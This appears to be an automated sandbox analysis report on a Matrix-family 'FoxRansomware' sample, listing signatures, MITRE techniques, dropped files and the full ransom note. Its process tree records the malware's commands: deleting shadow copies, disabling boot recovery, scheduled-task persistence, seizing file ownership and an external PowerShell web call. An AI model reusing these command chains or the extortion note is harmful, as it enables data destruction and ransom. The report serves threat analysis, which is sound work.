Overview

overview

10

Static

static

3

FoxRansomw...65.exe

windows7-x64

10

FoxRansomw...65.exe

windows10-2004-x64

10

FoxRansomw...a7.exe

windows7-x64

10

FoxRansomw...a7.exe

windows10-2004-x64

10

FoxRansomw...20.exe

windows7-x64

10

FoxRansomw...20.exe

windows10-2004-x64

10

FoxRansomw...0b.exe

windows7-x64

10

FoxRansomw...0b.exe

windows10-2004-x64

10

FoxRansomw...53.exe

windows7-x64

10

FoxRansomw...53.exe

windows10-2004-x64

10

FoxRansomw...b1.exe

windows7-x64

10

FoxRansomw...b1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/02/2024, 05:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
  • Size 1.2MB
  • Sample240213-fxzrcaff73
  • SHA256 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://myexternalip.com/raw

Extracted

Path

  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#FOX_README#.rtf

Ransom Note
  • {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 45AA0F52559CEC4B\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 45AA0F52559CEC4B\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 UCBxvlHp\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

  • https://bitmsg.me

  • https://bitmsg.me/users/sign_up

  • https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 30 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"
    1⤵
    • Matrix Ransomware
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe"
      2⤵
        PID:4900
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\sh0xZKMv.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1260
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5264
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\SysWOW64\wscript.exe
          wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat" /sc minute /mo 5 /RL HIGHEST /F
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2880
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat" /sc minute /mo 5 /RL HIGHEST /F
              5⤵
              • Creates scheduled task(s)
              PID:7008
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3980
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /I /tn DSHCA
              5⤵
                PID:8180
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\MyZplpC7.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5688
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\MyZplpC7.bmp" /f
            3⤵
            • Sets desktop wallpaper using registry
            PID:4448
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
            3⤵
              PID:2852
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
              3⤵
                PID:4780
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Bz1SrKdj.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:888
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                3⤵
                • Views/modifies file attributes
                PID:4500
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                3⤵
                  PID:9772
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                  3⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:10140
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c HPTbJaR9.exe -accepteula "store.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:9676
                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HPTbJaR9.exe
                    HPTbJaR9.exe -accepteula "store.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:8860
                    • C:\Users\Admin\AppData\Local\Temp\HPTbJaR964.exe
                      HPTbJaR9.exe -accepteula "store.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Sets service image path in registry
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:6812
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:9728
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:9372
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:9712
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:10064
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:332
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:4812
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:7596

              Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Scheduled Task/Job

                    1
                    T1053

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Scheduled Task/Job

                    1
                    T1053

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Scheduled Task/Job

                    1
                    T1053

                    Defense Evasion

                    File and Directory Permissions Modification

                    1
                    T1222

                    Hide Artifacts

                    1
                    T1564

                    Hidden Files and Directories

                    1
                    T1564.001

                    Indicator Removal

                    2
                    T1070

                    File Deletion

                    2
                    T1070.004

                    Modify Registry

                    2
                    T1112

                    Credential Access

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Peripheral Device Discovery

                    1
                    T1120

                    Query Registry

                    3
                    T1012

                    System Information Discovery

                    3
                    T1082

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Command and Control

                    Exfiltration

                    Impact

                    Defacement

                    1
                    T1491

                    Inhibit System Recovery

                    3
                    T1490

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    desktop.ini
                    • Path C:\$Recycle.Bin\S-1-5-21-1168293393-3419776239-306423207-1000\desktop.ini
                    • Size 1KB
                    • SHA256 87beafdf07492dcc59f4f4aa421eab4bb3063eb0adbf19cbea4ed4d8933e3c48
                    • MD5 SHA1 SHA512
                    Submit Download

                    #FOX_README#.rtf
                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#FOX_README#.rtf
                    • Size 8KB
                    • SHA256 6e638c0558196d58fc35916771df9a48b90ac5c1e853297eac0fd0aa907f5b23
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    [[email protected] ].Yctmwr7w-bTJKEwwh.FOX
                    • Path C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\[[email protected] ].Yctmwr7w-bTJKEwwh.FOX
                    • Size 3.3MB
                    • SHA256 a4cee0be94c8909c6b1e4ba0995dffa5e1bd0fa2961ee5a132a399be6d1c8eac
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    powershell.exe.log
                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 4d15fdabe22c51702eaaa81f3e9b5e74b98989d4583793b3ce2ce8468f1c0129
                    • MD5 SHA1 SHA512
                    Submit Download

                    Bz1SrKdj.bat
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Bz1SrKdj.bat
                    • Size 246B
                    • SHA256 c3ab7e30eced8d401d7d3fa53a067a236db55104cd8762eb022102182c9b1efd
                    • MD5 SHA1 SHA512
                    Submit Download

                    HPTbJaR9.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HPTbJaR9.exe
                    • Size 181KB
                    • SHA256 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    NWqByALz.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
                    • Size 458KB
                    • SHA256 638e3eb5af9c58d5947310a091ced46c394a045dd65f2ff2ec1e824373f8a807
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    NWqByALz.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
                    • Size 310KB
                    • SHA256 704e95c3ae90e7092dd1d4fe08c2d11e251ac0fd5ea3f977e565624a218f3036
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    NWqByALz.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
                    • Size 315KB
                    • SHA256 b39bc2fe1dc40134351cb18ef960609de6d12ebd51838f5dc647ea0afc0585b1
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    bad_45AA0F52559CEC4B.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\bad_45AA0F52559CEC4B.txt
                    • Size 130B
                    • SHA256 fc328ffa99e6cb795ad0b6d4a490e7bb0e5414529a54fc651c4199639a631a01
                    • MD5 SHA1 SHA512
                    Submit Download

                    elog_45AA0F52559CEC4B.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_45AA0F52559CEC4B.txt
                    • Size 72KB
                    • SHA256 125a826d4d29235d89f5c8d6e9cfaa63f4e0325184264f1bfb58761dd643f11c
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    sh0xZKMv.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\sh0xZKMv.txt
                    • Size 14B
                    • SHA256 82ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
                    • MD5 SHA1 SHA512
                    Submit Download

                    HPTbJaR964.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\HPTbJaR964.exe
                    • Size 221KB
                    • SHA256 7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    __PSScriptPolicyTest_kuwp0web.1va.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kuwp0web.1va.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512
                    Submit Download

                    Om77BD4u.bat
                    • Path C:\Users\Admin\AppData\Roaming\Om77BD4u.bat
                    • Size 265B
                    • SHA256 c23375e785b176b1768e432f1b29e2a27ed8f9a9e5e6ea71718a1c35da126cf9
                    • MD5 SHA1 SHA512
                    Submit Download

                    g4TNSf12.vbs
                    • Path C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs
                    • Size 260B
                    • SHA256 b3e6707500af0109ed612397af8a91553390e1b518245e06a06fa9d5bb8c6e1d
                    • MD5 SHA1 SHA512
                    Submit Download

                    memory/756-24465-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/756-19987-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/756-14202-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-14434-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-24641-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-24600-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-24579-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-24535-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/3528-24466-0x0000000000400000-0x000000000053A000-memory.dmp
                    Download

                    memory/5264-8-0x0000000074830000-0x0000000074FE0000-memory.dmp
                    Download

                    memory/5264-30-0x0000000074830000-0x0000000074FE0000-memory.dmp
                    Download

                    memory/5264-12-0x0000000005810000-0x0000000005876000-memory.dmp
                    Download

                    memory/5264-23-0x0000000005A60000-0x0000000005DB4000-memory.dmp
                    Download

                    memory/5264-27-0x00000000063D0000-0x00000000063EA000-memory.dmp
                    Download

                    memory/5264-10-0x0000000005070000-0x0000000005698000-memory.dmp
                    Download

                    memory/5264-7-0x00000000025F0000-0x0000000002626000-memory.dmp
                    Download

                    memory/5264-11-0x0000000005040000-0x0000000005062000-memory.dmp
                    Download

                    memory/5264-25-0x0000000005F90000-0x0000000005FDC000-memory.dmp
                    Download

                    memory/5264-9-0x00000000025A0000-0x00000000025B0000-memory.dmp
                    Download

                    memory/5264-18-0x00000000058F0000-0x0000000005956000-memory.dmp
                    Download

                    memory/5264-24-0x0000000005EE0000-0x0000000005EFE000-memory.dmp
                    Download

                    memory/5264-26-0x0000000007750000-0x0000000007DCA000-memory.dmp
                    Download

                    memory/8860-20177-0x0000000000400000-0x0000000000477000-memory.dmp
                    Download